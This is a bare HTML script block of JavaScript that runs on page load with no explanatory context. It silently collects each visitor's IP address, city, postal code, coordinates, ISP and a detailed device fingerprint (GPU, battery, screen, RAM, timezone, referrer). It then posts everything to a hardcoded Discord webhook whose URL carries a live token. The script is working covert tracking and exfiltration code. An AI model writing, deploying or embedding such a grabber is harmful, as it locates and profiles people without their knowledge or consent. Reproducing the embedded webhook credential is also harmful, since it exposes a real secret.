script>
// Webhook URL
const WEBHOOK_URL = "https://discord.com/api/webhooks/1438886088444739720/vegcnPjTTZ5YOKnd0yfjDrXLUSbi_sxW61rsu9c7NneBz6rLyQcZfJ8aeFDxXdZWLbCk";

// Measure real screen refresh rate (Hz)
function getHz() {
  return new Promise(resolve => {
    let frames = 0;
    let start = performance.now();

    function loop() {
      frames++;
      if (performance.now() - start >= 1000) {
        resolve(frames);
      } else {
        requestAnimationFrame(loop);
      }
    }

    requestAnimationFrame(loop);
  });
}

// Detect device type from User-Agent
function detectDeviceType() {
  const ua = navigator.userAgent;

  if (/iPad|Tablet/i.test(ua)) return "Tablet (iPad/Android Tablet)";
  if (/iPhone/i.test(ua)) return "iPhone";
  if (/Android/i.test(ua)) {
    const match = ua.match(/Android\s+([\d\.]+)/);
    return "Android Device" + (match ? " (Android " + match[1] + ")" : "");
  }
  if (/Windows NT/i.test(ua)) return "Windows PC";
  if (/Macintosh/i.test(ua)) return "Mac";
  if (/Linux/i.test(ua)) return "Linux PC";
  return "Unknown Device";
}

// 1) IP from ipify
async function getIP() {
  try {
    const res = await fetch("https://api.ipify.org?format=json");
    const j = await res.json();
    return j.ip;
  } catch {
    return "Unknown";
  }
}

// 2) GEO from ipwho.is
async function getGeo(ip) {
  try {
    const res = await fetch(`https://ipwho.is/${ip}`);
    const g = await res.json();

    return {
      country: g.country || "Unknown",
      city: g.city || "Unknown",
      region: g.region || "Unknown",
      latitude: g.latitude || "Unknown",
      longitude: g.longitude || "Unknown",
      postal: g.postal || "Unknown",
      isp: g.connection?.isp || "Unknown",
      asn: g.connection?.asn || "Unknown",
    };
  } catch {
    return {};
  }
}

// 3) Collect all data
async function collectData() {
  const ip = await getIP();
  const geo = await getGeo(ip);
  const hz = await getHz();

  // GPU detection
  let gpu = "Unknown", gpuVendor = "Unknown";
  const canvas = document.createElement("canvas");
  const gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
  if (gl) {
    gpu = gl.getParameter(gl.RENDERER);
    gpuVendor = gl.getParameter(gl.VENDOR);
  }

  // Battery
  let battery = "Unknown";
  if (navigator.getBattery) {
    const b = await navigator.getBattery();
    battery = `${Math.round(b.level * 100)}% (${b.charging ? "Charging" : "Not Charging"})`;
  }

  return {
    // GEO
    ip,
    country: geo.country,
    city: geo.city,
    region: geo.region,
    latitude: geo.latitude,
    longitude: geo.longitude,
    postal: geo.postal,
    isp: geo.isp,
    asn: geo.asn,

    // Device
    userAgent: navigator.userAgent,
    browser: navigator.userAgentData?.brands?.map(b => b.brand).join(", ") || "Unknown",
    os: navigator.platform || "Unknown",
    platform: navigator.platform || "Unknown",
    language: navigator.language || "Unknown",
    timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
    referrer: document.referrer || "None",
    url: window.location.href,
    device: /Mobi|Android/i.test(navigator.userAgent) ? "Mobile/Tablet" : "Desktop",
    deviceType: detectDeviceType(), // النوع التفصيلي
    screen: `${screen.width}x${screen.height}`,
    refreshRate: hz + "Hz",
    cpu: navigator.hardwareConcurrency || "Unknown",
    ram: navigator.deviceMemory || "Unknown",
    gpu,
    gpuVendor,
    battery,
    touch: ("ontouchstart" in window) ? "Yes" : "No",
    cookiesEnabled: navigator.cookieEnabled ? "Yes" : "No",
    onlineStatus: navigator.onLine ? "Online" : "Offline",
    visitTime: new Date().toLocaleString()
  };
}

// 4) Send to Discord
async function sendToDiscord() {
  const d = await collectData();

  const text = `
Visitor Data:
IP: ${d.ip}
Country: ${d.country}
City: ${d.city}
Region: ${d.region}
Latitude: ${d.latitude}
Longitude: ${d.longitude}
Postal Code: ${d.postal}
ISP: ${d.isp}
ASN: ${d.asn}
User-Agent: ${d.userAgent}
Browser: ${d.browser}
OS: ${d.os}
Platform: ${d.platform}
Language: ${d.language}
Timezone: ${d.timezone}
Referrer: ${d.referrer}
Page URL: ${d.url}
Device: ${d.device} (${d.deviceType})
Screen: ${d.screen}
Refresh Rate: ${d.refreshRate}
CPU Cores: ${d.cpu}
RAM: ${d.ram}
GPU: ${d.gpu}
GPU Vendor: ${d.gpuVendor}
Battery: ${d.battery}
Touch: ${d.touch}
Cookies Enabled: ${d.cookiesEnabled}
Online Status: ${d.onlineStatus}
Visit Time: ${d.visitTime}
`;

  fetch(WEBHOOK_URL, {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({
      username: "Visitor Info",
      content: "```yaml\n" + text + "\n```"
    })
  });
}

sendToDiscord();
</script>